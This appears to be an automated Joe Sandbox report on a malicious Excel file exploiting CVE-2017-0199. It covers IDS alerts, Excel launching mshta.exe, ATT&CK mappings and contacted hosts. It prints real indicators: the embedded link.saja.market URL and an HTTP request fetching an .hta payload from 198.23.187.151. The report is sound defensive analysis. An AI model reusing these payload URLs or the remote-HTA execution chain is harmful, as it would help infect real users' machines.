Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49701 -> 13.107.253.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49702 -> 13.107.253.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49703 -> 13.107.253.72:443

Source: global traffic	HTTP traffic detected: GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: link.saja.marketConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.23.187.151

Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: link.saja.marketConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.23.187.151

Source: global traffic	DNS traffic detected: DNS query: link.saja.market
Source: global traffic	DNS traffic detected: DNS query: otelrules.svc.static.microsoft

Source: POETDB24-25771.xla.xlsx, 60A20000.0.dr

String found in binary or memory: https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 3.39.153.44:443 -> 192.168.2.8:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.72:443 -> 192.168.2.8:49701 version: TLS 1.2

System Summary

Excel sheet contains many unusual embedded objects

Source: POETDB24-25771.xla.xlsx	OLE: Microsoft Excel 2007+
Source: ~DF98A3782FC6E974ED.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: 60A20000.0.dr	OLE: Microsoft Excel 2007+

Source: POETDB24-25771.xla.xlsx

OLE indicator, VBA macros: true

Source: POETDB24-25771.xla.xlsx	Stream path 'MBD004FA1DE/\x1Ole' : https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt&y(haU4Nze1'^aNgGdK.(]1x= @X7<<PP;GsMvuT4xJiqF882G6rx1ZcHPsFxw6yXguXwaV7OJHpgwPmYoH8eHOK5niEyMxBlZLzjelmf65CJ18yrrHmk1NTyKvIVlYgElAjpb1uWug49HVwTSUXJZwBgZkJN;7fc3I?}u{Pu
Source: 60A20000.0.dr	Stream path 'MBD004FA1DE/\x1Ole' : https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt&y(haU4Nze1'^aNgGdK.(]1x= @X7<<PP;GsMvuT4xJiqF882G6rx1ZcHPsFxw6yXguXwaV7OJHpgwPmYoH8eHOK5niEyMxBlZLzjelmf65CJ18yrrHmk1NTyKvIVlYgElAjpb1uWug49HVwTSUXJZwBgZkJN;7fc3I?}u{Pu

Source: ~DF98A3782FC6E974ED.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Window title found: microsoft excel okexcel cannot open the file 'poetdb24-25771.xla.xlsx' because the file format or file extension is not valid. verify that the file has not been corrupted and that the file extension matches the format of the file.

Source: classification engine

Classification label: mal60.expl.winXLSX@6/9@2/3

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{99AEFE57-7988-4C02-94F0-7CA141386A91} - OProcSessId.dat

Jump to behavior

Source: POETDB24-25771.xla.xlsx	OLE indicator, Workbook stream: true
Source: 60A20000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: POETDB24-25771.xla.xlsx

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: c2r32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3EE60F5C-9BAD-4CD8-8E21-AD2D001D06EB}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: POETDB24-25771.xla.xlsx

Static file information: File size 1193984 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: ~DF98A3782FC6E974ED.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: POETDB24-25771.xla.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: POETDB24-25771.xla.xlsx	Stream path 'MBD004FA1DD/Package' entropy: 7.99229250299 (max. 8.0)
Source: POETDB24-25771.xla.xlsx	Stream path 'Workbook' entropy: 7.99834254101 (max. 8.0)
Source: ~DF98A3782FC6E974ED.TMP.0.dr	Stream path 'Package' entropy: 7.99503290466 (max. 8.0)
Source: 60A20000.0.dr	Stream path 'MBD004FA1DD/Package' entropy: 7.99503290466 (max. 8.0)
Source: 60A20000.0.dr	Stream path 'Workbook' entropy: 7.99809492832 (max. 8.0)

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 756

Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
POETDB24-25771.xla.xlsx	21%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199

Source	Detection	Scanner	Label	Link
https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
s-0005.dual-s-dc-msedge.net	52.123.131.14	true	false	high
service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com	3.39.153.44	true	false	unknown
otelrules.svc.static.microsoft	unknown	unknown	false	high
link.saja.market	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/excel.exe-Production-v19.bundle	false		high
https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.23.187.151	unknown	United States	36352	AS-COLOCROSSINGUS	false
13.107.253.72	s-part-0044.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.39.153.44	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com	United States	8987	AMAZONEXPANSIONGB	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633349
Start date and time:	2025-03-10 09:11:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	POETDB24-25771.xla.xlsx
Detection:	MAL
Classification:	mal60.expl.winXLSX@6/9@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, MavInject32.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 23.60.203.209, 52.109.89.19, 199.232.210.172, 13.89.178.27, 52.109.28.46, 52.182.143.215, 52.123.131.14, 52.149.20.212, 40.126.31.1
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, weu-azsc-000.roaming.officeapps.live.com, weu-azsc-config.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, mobile.events.data.microsoft.com, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, dual-s-0005-office.config.skype.com, login.live.com, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, c.pki.goog, wu-b-net.trafficmanager.net, onedscolprdcus22.centralus.cloudapp.azure.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, onedscolprdcus03.centralus.cloudapp.azure.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, fe3cr.delivery.mp.microsoft.com, config.officeapps.live.com, e16604.f.akamaiedge.net, ecs.office.trafficmanager.net, e
Not all processes where analyzed, report is missing behavior information
